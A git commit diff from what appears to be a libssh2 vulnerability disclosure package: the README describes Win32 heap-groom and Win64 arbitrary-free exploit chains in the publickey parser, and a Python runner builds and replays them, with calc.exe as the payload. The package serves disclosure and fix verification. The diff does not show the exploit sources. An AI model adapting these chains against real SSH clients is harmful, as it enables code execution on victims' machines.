Use source-only libssh2 replay package

This commit is contained in:
ashton
2026-06-25 19:24:44 -05:00
parent 886051ba88
commit 595af0a7bb
9 changed files with 273 additions and 99 deletions

View File

@@ -41,26 +41,33 @@ reject num_attrs values that overflow the attrs allocation multiplication
```text
poc/publickey_win32_heap_groom_calc_repro.c
poc/publickey_win32_heap_groom_calc_repro.exe
poc/publickey_win32_heap_groom_calc_repro_checked.exe
poc/publickey_win64_arbitrary_free_calc_repro.c
poc/publickey_win64_arbitrary_free_calc_repro.exe
poc/publickey_win64_arbitrary_free_calc_repro_checked.exe
replay-calc-poc.ps1
replay-calc-poc.py
evidence/2026-06-25-local-calc-replay.txt
SHA256SUMS.txt
```
The checked binaries link against a publickey object with the two parser hardening changes above. The vulnerable binaries link against the target commit.
The replay runner builds temporary vulnerable and checked executables under `build/`. The checked executables link against a publickey object with the two parser hardening changes above. The vulnerable executables link against the target commit.
## Quick replay
Run on Windows:
Set `LIBSSH2_SRC` to a libssh2 checkout and `LIBSSH2_OBJDIR` to a directory containing these objects:
```powershell
.\replay-calc-poc.ps1
```text
publickey_win32.o
publickey_win32_checked.o
publickey_win64.o
publickey_win64_checked.o
```
Run with Python 3:
```sh
python3 replay-calc-poc.py
```
Windows runs the generated PE harnesses directly. Linux and macOS run them through Wine when `wine` is on `PATH`.
Expected proof signals:
```text
@@ -79,7 +86,7 @@ victim_freed=0
safe_callback_reached
```
The replay starts `calc.exe` for both vulnerable harnesses and writes transient marker files during execution. The marker files are runtime artifacts and are left out of the tracked tree.
The replay builds local executables, starts `calc.exe` for both vulnerable harnesses, and writes transient marker files during execution. The generated files are runtime artifacts and are left out of the tracked tree.
## Win32 chain
@@ -177,18 +184,18 @@ list_free trusts packet and attrs fields until a sentinel entry
## Rebuild notes
The binaries were built with MinGW-w64 and linked against `publickey.c` objects compiled from the target commit and from the checked variant.
The replay runner uses MinGW-w64 and links against `publickey.c` objects compiled from the target commit and from the checked variant.
Equivalent source build shape:
```powershell
x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64.o -lws2_32 -lbcrypt
```sh
x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win64_arbitrary_free_calc_repro.exe poc/publickey_win64_arbitrary_free_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win64.o" -lws2_32 -lbcrypt
x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro_checked.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64_checked.o -lws2_32 -lbcrypt
x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win64_arbitrary_free_calc_repro_checked.exe poc/publickey_win64_arbitrary_free_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win64_checked.o" -lws2_32 -lbcrypt
i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32.o -lws2_32 -lbcrypt
i686-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win32_heap_groom_calc_repro.exe poc/publickey_win32_heap_groom_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win32.o" -lws2_32 -lbcrypt
i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro_checked.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32_checked.o -lws2_32 -lbcrypt
i686-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win32_heap_groom_calc_repro_checked.exe poc/publickey_win32_heap_groom_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win32_checked.o" -lws2_32 -lbcrypt
```
## Fix shape
@@ -203,4 +210,4 @@ Before attrs allocation:
if num_attrs exceeds SIZE_MAX / sizeof(libssh2_publickey_attribute), reject the response
```
These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked binaries.
These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked executables.

View File

@@ -1,9 +1,5 @@
1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt
641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c
52F74CD7ACA634B1C3BA3CED07E3B5B7751CBAA751384036412B02F9278C0696 poc/publickey_win32_heap_groom_calc_repro.exe
4781A6DC8CFDE85429D75D03B3E2A7F27158995C68647973D6613D6217244165 poc/publickey_win32_heap_groom_calc_repro_checked.exe
D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c
B38B1033D31CEB96820F968889EC777B5F592C9145F4D23C2291B750D9B38F7B poc/publickey_win64_arbitrary_free_calc_repro.exe
D51415DBA11B634EFE126ACE3CA887CF4B32198C5A479931FBC68D24308E5266 poc/publickey_win64_arbitrary_free_calc_repro_checked.exe
A033AF42313BCCA3C3D9D76C343388A2C096DC71C305FD010FEC640CA07D3D19 README.md
2E88D97AEB90BBCBC72EFB73D493E64437E5E472F4DF21608F93E8141669E012 replay-calc-poc.ps1
1A7EFC4E852071DC15930E9028D77851293E4233C6B79A7ADC3AE545A7846AD0 README.md
2FAEE0238091D998A6D9E069B0B5D001F9E5AF7CDFA9A9DCA4346037D5526B64 replay-calc-poc.py

View File

@@ -1,76 +0,0 @@
$ErrorActionPreference = "Continue"
$Root = Split-Path -Parent $MyInvocation.MyCommand.Path
$Poc = Join-Path $Root "poc"
Set-Location -LiteralPath $Root
function Show-Matches($text, $patterns) {
$pattern = [string]::Join("|", $patterns)
$text | Select-String -Pattern $pattern
}
Remove-Item -LiteralPath (Join-Path $Root "x86_calc_payload_reached.txt") -ErrorAction SilentlyContinue
Remove-Item -LiteralPath (Join-Path $Root "x64_calc_payload_reached.txt") -ErrorAction SilentlyContinue
Write-Output "== Win32 publickey-list calc chain =="
$x86v = Join-Path $Poc "publickey_win32_heap_groom_calc_repro.exe"
$x86c = Join-Path $Poc "publickey_win32_heap_groom_calc_repro_checked.exe"
$x86Args = @("3", "n", "call", "4068")
$hit = 0
$hitOut = $null
for($i = 1; $i -le 30; $i++) {
$out = & $x86v @x86Args 2>&1
if($LASTEXITCODE -eq 77) {
$hit = $i
$hitOut = $out
break
}
}
if($hit) {
Write-Output "x86_vulnerable_calc=hit attempt=$hit limit=30"
Show-Matches $hitOut @("attrs_alloc", "victim\[", "marker_function_reached", "calc_launch")
}
else {
Write-Output "x86_vulnerable_calc=miss limit=30"
}
if(Test-Path (Join-Path $Root "x86_calc_payload_reached.txt")) {
Get-Content (Join-Path $Root "x86_calc_payload_reached.txt")
}
$checkedHit = 0
for($i = 1; $i -le 30; $i++) {
& $x86c @x86Args *> $null
if($LASTEXITCODE -eq 77) {
$checkedHit = $i
break
}
}
if($checkedHit) {
Write-Output "x86_checked_calc=unexpected_hit attempt=$checkedHit limit=30"
}
else {
Write-Output "x86_checked_calc=no_hit limit=30"
}
Write-Output ""
Write-Output "== Win64 publickey-list calc chain =="
$x64v = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro.exe"
$x64c = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro_checked.exe"
$x64Out = & $x64v calc 2>&1
$x64Exit = $LASTEXITCODE
Write-Output "x64_vulnerable_calc_exit=$x64Exit"
Show-Matches $x64Out @("victim=", "free ptr=", "free_ignored_unknown", "victim_freed=", "same_as_victim=1", "calc_payload_reached", "calc_launch")
if(Test-Path (Join-Path $Root "x64_calc_payload_reached.txt")) {
Get-Content (Join-Path $Root "x64_calc_payload_reached.txt")
}
$x64CheckedOut = & $x64c calc 2>&1
$x64CheckedExit = $LASTEXITCODE
Write-Output "x64_checked_calc_exit=$x64CheckedExit"
Show-Matches $x64CheckedOut @("victim_freed=", "same_as_victim=", "safe_callback_reached", "calc_payload_reached", "calc_launch")

View File

@@ -0,0 +1,244 @@
import os
import platform
import re
import shutil
import subprocess
import sys
from pathlib import Path
ROOT = Path(__file__).resolve().parent
POC = ROOT / "poc"
BUILD = ROOT / "build"
MARKERS = [
ROOT / "x86_calc_payload_reached.txt",
ROOT / "x64_calc_payload_reached.txt",
]
TARGETS = [
{
"name": "x86_vulnerable",
"compiler_env": "CC_WIN32",
"compiler": "i686-w64-mingw32-gcc",
"source": POC / "publickey_win32_heap_groom_calc_repro.c",
"object": "publickey_win32.o",
"exe": BUILD / "publickey_win32_heap_groom_calc_repro.exe",
},
{
"name": "x86_checked",
"compiler_env": "CC_WIN32",
"compiler": "i686-w64-mingw32-gcc",
"source": POC / "publickey_win32_heap_groom_calc_repro.c",
"object": "publickey_win32_checked.o",
"exe": BUILD / "publickey_win32_heap_groom_calc_repro_checked.exe",
},
{
"name": "x64_vulnerable",
"compiler_env": "CC_WIN64",
"compiler": "x86_64-w64-mingw32-gcc",
"source": POC / "publickey_win64_arbitrary_free_calc_repro.c",
"object": "publickey_win64.o",
"exe": BUILD / "publickey_win64_arbitrary_free_calc_repro.exe",
},
{
"name": "x64_checked",
"compiler_env": "CC_WIN64",
"compiler": "x86_64-w64-mingw32-gcc",
"source": POC / "publickey_win64_arbitrary_free_calc_repro.c",
"object": "publickey_win64_checked.o",
"exe": BUILD / "publickey_win64_arbitrary_free_calc_repro_checked.exe",
},
]
def runner():
if platform.system() == "Windows":
print("runner=native-windows")
return []
wine = shutil.which("wine") or shutil.which("wine64")
if wine is None:
print("runner=missing-wine")
print("install_wine_or_run_on_windows")
sys.exit(2)
print(f"runner={wine}")
return [wine]
def env_path(name):
value = os.environ.get(name, "").strip()
if value == "":
print(f"missing_env={name}")
sys.exit(2)
return Path(value)
def compiler(target):
value = os.environ.get(target["compiler_env"], "").strip()
selected = target["compiler"]
if value != "":
selected = value
found = shutil.which(selected)
if found is None:
print(f"missing_tool={selected}")
sys.exit(2)
return found
def build_targets():
src = env_path("LIBSSH2_SRC")
objdir = env_path("LIBSSH2_OBJDIR")
BUILD.mkdir(exist_ok=True)
for target in TARGETS:
obj = objdir / target["object"]
if obj.exists() is False:
print(f"missing_object={obj}")
sys.exit(2)
command = [
compiler(target),
"-O2",
"-s",
"-DLIBSSH2_WINCNG",
f"-I{src / 'src'}",
f"-I{src / 'include'}",
"-o",
str(target["exe"]),
str(target["source"]),
str(obj),
"-lws2_32",
"-lbcrypt",
]
print(f"building={target['name']}")
completed = subprocess.run(
command,
cwd=str(ROOT),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
errors="replace",
)
if completed.returncode != 0:
print(completed.stdout, end="")
print(f"build_failed={target['name']} exit={completed.returncode}")
sys.exit(completed.returncode)
def run_exe(prefix, exe, args):
completed = subprocess.run(
prefix + [str(exe)] + args,
cwd=str(ROOT),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
errors="replace",
)
return completed.returncode, completed.stdout.splitlines()
def show_matches(lines, patterns):
expression = re.compile("|".join(patterns))
for line in lines:
if expression.search(line):
print(line)
def remove_markers():
for marker in MARKERS:
try:
marker.unlink()
except FileNotFoundError:
pass
def show_marker(name):
marker = ROOT / name
if marker.exists():
text = marker.read_text(errors="replace").strip()
if len(text) > 0:
print(text)
def replay_x86(prefix):
print("== Win32 publickey-list calc chain ==")
vulnerable = BUILD / "publickey_win32_heap_groom_calc_repro.exe"
checked = BUILD / "publickey_win32_heap_groom_calc_repro_checked.exe"
args = ["3", "n", "call", "4068"]
hit = 0
hit_lines = []
for attempt in range(1, 31):
code, lines = run_exe(prefix, vulnerable, args)
if code == 77:
hit = attempt
hit_lines = lines
break
if hit > 0:
print(f"x86_vulnerable_calc=hit attempt={hit} limit=30")
show_matches(hit_lines, ["attrs_alloc", r"victim\[", "marker_function_reached", "calc_launch"])
else:
print("x86_vulnerable_calc=miss limit=30")
show_marker("x86_calc_payload_reached.txt")
checked_hit = 0
for attempt in range(1, 31):
code, lines = run_exe(prefix, checked, args)
if code == 77:
checked_hit = attempt
break
if checked_hit > 0:
print(f"x86_checked_calc=unexpected_hit attempt={checked_hit} limit=30")
else:
print("x86_checked_calc=no_hit limit=30")
def replay_x64(prefix):
print("")
print("== Win64 publickey-list calc chain ==")
vulnerable = BUILD / "publickey_win64_arbitrary_free_calc_repro.exe"
checked = BUILD / "publickey_win64_arbitrary_free_calc_repro_checked.exe"
code, lines = run_exe(prefix, vulnerable, ["calc"])
print(f"x64_vulnerable_calc_exit={code}")
show_matches(
lines,
[
"victim=",
"free ptr=",
"free_ignored_unknown",
"victim_freed=",
"same_as_victim=1",
"calc_payload_reached",
"calc_launch",
],
)
show_marker("x64_calc_payload_reached.txt")
checked_code, checked_lines = run_exe(prefix, checked, ["calc"])
print(f"x64_checked_calc_exit={checked_code}")
show_matches(
checked_lines,
[
"victim_freed=",
"same_as_victim=",
"safe_callback_reached",
"calc_payload_reached",
"calc_launch",
],
)
def main():
remove_markers()
build_targets()
prefix = runner()
replay_x86(prefix)
replay_x64(prefix)
if __name__ == "__main__":
main()